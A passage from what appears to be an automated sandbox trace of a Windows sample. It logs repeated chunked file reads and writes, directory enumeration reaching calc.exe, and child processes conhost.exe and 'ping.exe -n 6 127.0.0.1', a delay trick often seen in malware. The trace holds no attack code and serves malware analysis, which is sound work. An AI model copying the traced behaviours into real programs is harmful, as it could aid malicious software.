lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.036] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.036] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.036] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.036] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.037] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.037] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.037] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.037] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.037] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.037] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.037] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.037] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.037] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.037] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.037] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.037] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.038] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.038] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.038] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.038] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.038] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.038] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.038] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.038] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.038] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.038] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.038] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.039] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.039] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.039] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.040] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.040] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.040] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.040] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.040] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.040] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.040] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.040] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.040] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.040] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.040] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.040] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.040] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.041] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.041] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.041] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.041] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.041] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.041] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.041] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.041] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.041] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.041] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.041] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.041] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.042] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.042] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.042] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.042] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.042] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.042] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.042] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.042] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.042] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.042] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.042] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.042] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.042] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.042] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.043] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.043] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.043] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.043] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.043] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.043] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.043] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.043] _close (_FileHandle=4) returned 0 [0302.043] ??_V@YAXPAX@Z () returned 0x1 [0302.043] FindNextFileW (in: hFindFile=0x2da2fe0, lpFindFileData=0x7df490 | out: lpFindFileData=0x7df490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762936dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x762936dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x762936dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x2ec2320, dwReserved1=0x2da04b8, cFileName="calc.exe", cAlternateFileName="")) returned 0 [0302.044] GetLastError () returned 0x12 [0302.044] FindClose (in: hFindFile=0x2da2fe0 | out: hFindFile=0x2da2fe0) returned 1 [0302.044] ??_V@YAXPAX@Z () returned 0x1 [0302.044] ??_V@YAXPAX@Z () returned 0x1 [0302.044] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0302.046] _close (_FileHandle=3) returned 0 [0302.046] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.046] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0302.049] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.049] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xad3890 | out: lpMode=0xad3890) returned 1 [0302.049] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.049] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0302.050] _get_osfhandle (_FileHandle=0) returned 0x8c [0302.050] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xad3894 | out: lpMode=0xad3894) returned 1 [0302.050] _get_osfhandle (_FileHandle=0) returned 0x8c [0302.050] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0302.050] SetConsoleInputExeNameW () returned 0x1 [0302.050] GetConsoleOutputCP () returned 0x1b5 [0302.051] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xad3850 | out: lpCPInfo=0xad3850) returned 1 [0302.051] SetThreadUILanguage (LangId=0x0) returned 0x990409 [0302.051] exit (_Code=0) [0302.051] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 367 os_tid = 0xf7c Process: id = "24" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x42171000" os_pid = "0x548" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "23" os_parent_pid = "0x10f0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 362 os_tid = 0xd7c Thread: id = 363 os_tid = 0x528 Thread: id = 364 os_tid = 0xda4 Thread: id = 365 os_tid = 0x1030 Thread: id = 366 os_tid = 0xd70 Process: id = "25" image_name = "ping.exe" filename = "c:\\windows\\syswow64\\ping.exe" page_root = "0x15c32000" os_pid = "0xf6c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "23" os_parent_pid = "0x10f0" cmd_line = "ping.exe -n 6 127.0.0.1 " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 368 os_tid = 0x1170 [0268.489] GetModuleHandleA (lpModuleName=0x0) returned 0x11e0000 [0268.489] __set_app_type (_Type=0x1) [0268.489] __p__fmode () returned 0x74413c14 [0268.489] __p__commode () returned 0x744149ec [0268.489] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x11e3540) returned 0x0 [0268.489] __wgetmainargs (in: _Argc=0x11e40c8, _Argv=0x11e40cc, _Env=0x11e40d0, _DoWildCard=0, _StartInfo=0x11e40dc | out: _Argc=0x11e40c8, _Argv=0x11e40cc, _Env=0x11e40d0) returned 0 [0268.490] SetThreadUILanguage (LangId=0x0) returned 0xab0409 [0268.558] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0268.558] __iob_func () returned 0x74412608 [0268.558] _fileno (_File=0x74412628) returned 1 [0268.558] _get_osfhandle (_FileHandle=1) returned 0x90 [0268.558] GetFileType (hFile=0x90) returned 0x2 [0268.558] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fefb4 | out: lpMode=0x9fefb4) returned 1 [0268.620] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x11e54e0 | out: lpWSAData=0x11e54e0) returned 0 [0268.627] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x1, phkResult=0x9fefcc | out: phkResult=0x9fefcc*=0xfc) returned 0x0 [0268.627] RegQueryValueExW (in: hKey=0xfc, lpValueName="DefaultTTL", lpReserved=0x0, lpType=0x9fefc0, lpData=0x9fefc8, lpcbData=0x9fefc4*=0x4 | out: lpType=0x9fefc0*=0x0, lpData=0x9fefc8*=0x0, lpcbData=0x9fefc4*=0x4) returned 0x2 [0268.627] RegCloseKey (hKey=0xfc) returned 0x0 [0268.628] GetAddrInfoW (in: pNodeName="127.0.0.1", pServiceName=0x0, pHints=0x9fef8c*(ai_flags=4, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x9fefb4 | out: ppResult=0x9fefb4*=0xdced60*(ai_flags=4, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0xdc40f0*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), ai_next=0x0)) returned 0 [0268.628] FreeAddrInfoW (pAddrInfo=0xdced60*(ai_flags=4, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0xdc40f0*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), ai_next=0x0)) [0268.732] IcmpCreateFile () returned 0xdcd820 [0269.396] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0xdcec48 [0269.396] LocalAlloc (uFlags=0x0, uBytes=0x1ff8) returned 0xdd6b28 [0269.396] GetNameInfoW (in: pSockaddr=0x11e5440*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), SockaddrLength=0x10, pNodeBuffer=0x9ff0c0, NodeBufferSize=0x41, pServiceBuffer=0x0, ServiceBufferSize=0x0, Flags=2 | out: pNodeBuffer="127.0.0.1", pServiceBuffer=0x0) returned 0 [0271.088] __iob_func () returned 0x74412608 [0271.088] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x274b, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="끨Ý歷\x9f⟝Ğ☨瑁❋") returned 0x14 [0271.382] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0271.382] _fileno (_File=0x74412628) returned 1 [0271.382] _get_osfhandle (_FileHandle=1) returned 0x90 [0271.382] GetFileType (hFile=0x90) returned 0x2 [0271.382] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0271.452] _fileno (_File=0x74412628) returned 1 [0271.452] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0271.452] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0271.452] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 20 [0272.710] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.710] _fileno (_File=0x74412628) returned 1 [0272.710] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0272.710] LocalFree (hMem=0xddb068) returned 0x0 [0272.710] __iob_func () returned 0x74412608 [0272.710] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x275a, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="끨Ý歷\x9f⡲Ğ☨瑁❚") returned 0x18 [0272.710] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.710] _fileno (_File=0x74412628) returned 1 [0272.710] _get_osfhandle (_FileHandle=1) returned 0x90 [0272.710] GetFileType (hFile=0x90) returned 0x2 [0272.710] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0272.710] _fileno (_File=0x74412628) returned 1 [0272.711] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0272.711] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0272.711] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 24 [0272.720] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.720] _fileno (_File=0x74412628) returned 1 [0272.720] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0272.720] LocalFree (hMem=0xddb068) returned 0x0 [0272.720] SetConsoleCtrlHandler (HandlerRoutine=0x11e1c70, Add=1) returned 1 [0272.720] IcmpSendEcho2Ex (in: IcmpHandle=0xdcd820, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0xdcec48, RequestSize=0x20, RequestOptions=0x9ff038, ReplyBuffer=0xdd6b28, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0xdd6b28) returned 0x1 [0272.725] InetNtopW (in: Family=2, pAddr=0x9ff018, pStringBuf=0x9ff14c, StringBufSize=0x16 | out: pStringBuf="127.0.0.1") returned="127.0.0.1" [0272.725] __iob_func () returned 0x74412608 [0272.725] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="끨Ý歷\x9f⦙Ğ☨瑁✣") returned 0x16 [0272.725] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.725] _fileno (_File=0x74412628) returned 1 [0272.725] _get_osfhandle (_FileHandle=1) returned 0x90 [0272.725] GetFileType (hFile=0x90) returned 0x2 [0272.725] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0272.726] _fileno (_File=0x74412628) returned 1 [0272.726] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0272.726] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0272.726] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 22 [0272.734] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.734] _fileno (_File=0x74412628) returned 1 [0272.734] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0272.734] LocalFree (hMem=0xddb068) returned 0x0 [0272.734] __iob_func () returned 0x74412608 [0272.734] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="끨Ý歷\x9f⧃Ğ☨瑁✼") returned 0x9 [0272.734] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.734] _fileno (_File=0x74412628) returned 1 [0272.734] _get_osfhandle (_FileHandle=1) returned 0x90 [0272.734] GetFileType (hFile=0x90) returned 0x2 [0272.734] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0272.734] _fileno (_File=0x74412628) returned 1 [0272.734] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0272.734] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0272.734] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0272.738] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.738] _fileno (_File=0x74412628) returned 1 [0272.738] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0272.738] LocalFree (hMem=0xddb068) returned 0x0 [0272.738] __iob_func () returned 0x74412608 [0272.738] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2726, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="끨Ý歷\x9f⩃Ğ☨瑁✦") returned 0x9 [0272.738] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.738] _fileno (_File=0x74412628) returned 1 [0272.738] _get_osfhandle (_FileHandle=1) returned 0x90 [0272.738] GetFileType (hFile=0x90) 